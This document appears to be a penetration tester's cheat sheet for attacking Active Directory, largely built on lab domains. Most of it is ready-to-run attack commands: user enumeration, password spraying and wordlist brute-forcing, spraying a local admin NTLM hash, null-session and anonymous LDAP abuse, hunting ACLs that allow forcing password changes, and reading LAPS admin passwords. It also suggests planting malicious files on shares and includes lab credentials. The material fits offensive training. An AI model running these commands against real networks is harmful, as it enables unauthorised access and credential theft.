Information gathering

Mindmap

Key Data Points

Data Point	Description
`AD Users`	We are trying to enumerate valid user accounts we can target for password spraying.
`AD Joined Computers`	Key Computers include Domain Controllers, file servers, SQL servers, web servers, Exchange mail servers, database servers, etc.
`Key Services`	Kerberos, NetBIOS, LDAP, DNS
`Vulnerable Hosts and Services`	Anything that can be a quick win. ( a.k.a an easy host to exploit and gain a foothold)

Initial foothold

put malicious link-file (hashgrab) to smb share
put malicious doc file to smb share
put malicious doc file to ftp
force http request to server you own

Identifying Hosts

get list of computers

Import-Module .\PowerView.ps1
Get-DomainComputer -Domain INLANEFREIGHT.LOCAL  | select name
Get-DomainComputer -Domain INLANEFREIGHT.LOCAL | select dnshostname

list all SQL servers

Get-DomainComputer -Domain INLANEFREIGHT.LOCAL | select dnshostname
|->
# check if there are up
ping -n 2 ACADEMY-EA-SQL-0253.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-ACC.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-DEV.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-PROD01.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-PROD02.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-PROD03.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-PROD04.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-PROD05.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-PROD06.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-SERVER.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-STAGE.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL-TEST.INLANEFREIGHT.LOCAL
ping -n 2 ACADEMY-EA-SQL01.INLANEFREIGHT.LOCAL

get one computer details

Import-Module .\PowerView.ps1
Get-DomainComputer -name DC01 -Domain INLANEFREIGHT.LOCAL
Get-DomainComputer -name SQL01 -Domain INLANEFREIGHT.LOCAL
Get-DomainComputer -name MS01 -Domain INLANEFREIGHT.LOCAL

wireshark

sudo wireshark

tcpdump

sudo tcpdump -i tun0

responder

sudo responder -I tun0 -A

fping

fping -asgq 172.16.5.0/23

nmap

sudo nmap -v -A 172.16.5.0/23

Identifying Users

🚀 From windows (domain joined)

enumerate all user from domain

net user /domain

user details

net user michal_admin /domain

get user groups (ps)

Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof

Get-DomainUser -Identity mssqlsvc |select samaccountname,memberof

enumerate all groups in the domai

net group /domain

search group parent

Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

🚀 From linux

kerbrute – enumerating users

/opt/windows/kerbrute userenum --help
/opt/windows/kerbrute userenum -d CONTROLLER.local --dc CONTROLLER.local user.txt
/opt/windows/kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 /opt/jsmith.txt

nmap – enumerating users

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='CONTROLLER.local',userdb=user.txt" $IP
crackmapexec smb $IP -u htb-student -p Academy_student_AD! --users```
**kerbrute** - bruteforce a single user's password from a wordlist
```bash
/opt/windows/kerbrute bruteuser --help
/opt/windows/kerbrute bruteuser -v --dc CONTROLLER.local -d CONTROLLER.local /usr/share/wordlists/rockyou.txt admin1
/opt/windows/kerbrute bruteuser -v --dc CONTROLLER.local -d CONTROLLER.local /usr/share/wordlists/rockyou.txt admin1```
**enum4linux**
```shell
enum4linux -U $IP  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

rpcclient

rpcclient -U "" -N $IP
rpcclient> enumdomusers

crackmapexec

crackmapexec smb $IP --users
crackmapexec smb $IP -u $USER -p $PASS --users

ldapsearch

ldapsearch -v -x -b "DC=access,DC=offsec" -H "ldap://$IP" "(objectclass=*)" -D $USER@$DOMAIN -w $PASS

ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=*)"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=user)"

get user list with description

ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no dn description "(objectclass=user)"

get user list with names and description

ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no name sAMAccountName userPrincipalName description "(objectclass=user)"

-v: Enables verbose mode, which provides more detailed output about the LDAP communication.
-x: Uses simple authentication, which sends the bind DN and password in plaintext. This option is not secure and should only be used in secure environments or for testing purposes.
-b "DC=hutch,DC=offsec": Specifies the base DN (distinguished name) for the search. This is the starting point for the search in the directory tree.
-H "ldap://$IP": Specifies the LDAP server to connect to. $IP is a variable that contains the IP address of the server.
-s sub: Specifies the scope of the search. The sub value indicates that the search should be performed recursively from the base DN.
-a search: Specifies the type of search to perform. The search value indicates that the search should retrieve all attributes of matching entries.
dn description: Specifies the attributes to retrieve for matching entries. In this case, the dn and description attributes are requested.
"(objectclass=user)": Specifies the search filter to use. In this case, the filter selects all entries that have the objectclass attribute set to user.

windapsearch.py

./windapsearch.py --dc-ip $IP -u "" -U

Identifying Password

🚀 Internal Password Spraying from a Linux Host

Using a Bash one-liner for the Attack

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Using Kerbrute for the Attack

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1

Using CrackMapExec & Filtering Logon Failures

sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +

Local Admin Password Reuse Spraying with CrackMapExec

sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

🚀 Internal Password Spraying from a Windows Host

wget https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1 -O /opt/windows/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

https://github.com/dafthack/DomainPasswordSpray

Enumeration with valid credential

🚀 (from linux)

🚀 (from windows)

Enumerating the Password Policy

🚀 Enumerating the Password Policy – from Linux – Credentialed

crackmapexec

crackmapexec smb $IP -u <USER> -p <PASS> --pass-pol

With valid domain credentials, the password policy can also be obtained remotely using tools such as CrackMapExec or rpcclient.

🚀 Enumerating the Password Policy – from Linux – SMB NULL Sessions

rpcclient

rpcclient -U "" -N $IP
|->
rpcclient $> querydominfo

Without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind. querydominfo - obtain information about the domain and confirm NULL session access. getdompwinfo - obtaining the password policy. enum4linux

enum4linux -P $IP
enum4linux-ng -P $IP -oA ilfreight

🚀 Enumerating Null Session – from Windows

Establish a null session from windows

net use \\DC01\ipc$ "" /u:""               ## Establish a null session from windows
net use \\DC01\ipc$ "" /u:guest            ## Error: Account is Disabled
net use \\DC01\ipc$ "password" /u:guest    ## Error: Password is Incorrect
net use \\DC01\ipc$ "password" /u:guest    ## Error: Account is locked out (Password Policy)

🚀 Enumerating the Password Policy – from Linux – LDAP Anonymous Bind

LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such as windapseach.py, ldapsearch, ad-ldapdomaindump.py, etc., to pull the password policy. With ldapsearch, it can be a bit cumbersome but doable. ldapsearch - from linux

 ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

net accounts - from windows

net accounts

Enumerating Security Controls

Checking the Status of Defender with Get-MpComputerStatus

Get-MpComputerStatus

Using Get-AppLockerPolicy cmdlet

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Enumerating Language Mode

$ExecutionContext.SessionState.LanguageMode

Using Find-LAPSDelegatedGroups

Find-LAPSDelegatedGroups

Using Find-AdmPwdExtendedRights

Find-AdmPwdExtendedRights

Using Get-LAPSComputers

Get-LAPSComputers

ACL Enumeration

🚀 Enumerating ACLs with PowerView

wley is a user that we obtained.

Let's dig in and see if this user (wley) has any interesting ACL rights that we could take advantage of. We first need to load PowerView.ps1

Import-Module .\PowerView.ps1

Then need to get the SID of our target user to search effectively.

$sid = Convert-NameToSid wley
# $sid = Convert-NameToSid forend

Searching through all Domain Object - option 1

We can then use the Get-DomainObjectACL function to perform our targeted search. In the below example, we are using this function to find all domain objects that our user has rights over by mapping the user's SID using the $sid variable to the SecurityIdentifier property, which is what tells us who has the given right over an object.

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
|->
ObjectDN :     CN=Dana Amundsen,OU=DevOps,...
ObjectAceType: User-Force-Change-Password
ObjectSID:     S-1-5-21-3842939050-3880317879-2865463114-1176

User wley has the right to force change the Dana Amundsen user password

Get Dana Amundsen profile

get-aduser -Filter 'Name -like "Dana Amundsen"'

Searching through all Users Object - option 2

Creating a List of Domain Users

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

Search through users

foreach($line in [System.IO.File]::ReadLines("C:\tools\ad_users.txt")) {get-acl    "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Performing a Reverse Search & Mapping to a GUID Value

$guid="00299570-246d-11d0-a768-00aa006e0529"

Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" | Where-Object {$_.ObjectClass -like 'ControlAccessRight'} | Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

Microsoft LAPS

LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory. Using the credentials we have already found (fmcsorley:CrabSharkJellyfish192), let's attempt to query LDAP for the local administrator password.

ldapsearch -v -x -b "DC=hutch,DC=offsec" -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -H "ldap://$IP" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Enumerating Trust Relationships

from powershell

Using Get-ADTrust

Import-Module activedirectory
Get-ADTrust -Filter *

Checking for Existing Trusts using Get-DomainTrust

Import-Module .\PowerView.ps1
Get-DomainTrust

Using Get-DomainTrustMapping

Import-Module .\PowerView.ps1
Get-DomainTrustMapping

Checking Users in the Child Domain using Get-DomainUser

Import-Module .\PowerView.ps1
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName

from cmd

Using netdom to query domain trust

netdom query /domain:inlanefreight.local trust

Using netdom to query domain controllers

netdom query /domain:inlanefreight.local dc

Using netdom to query workstations and servers

netdom query /domain:inlanefreight.local workstation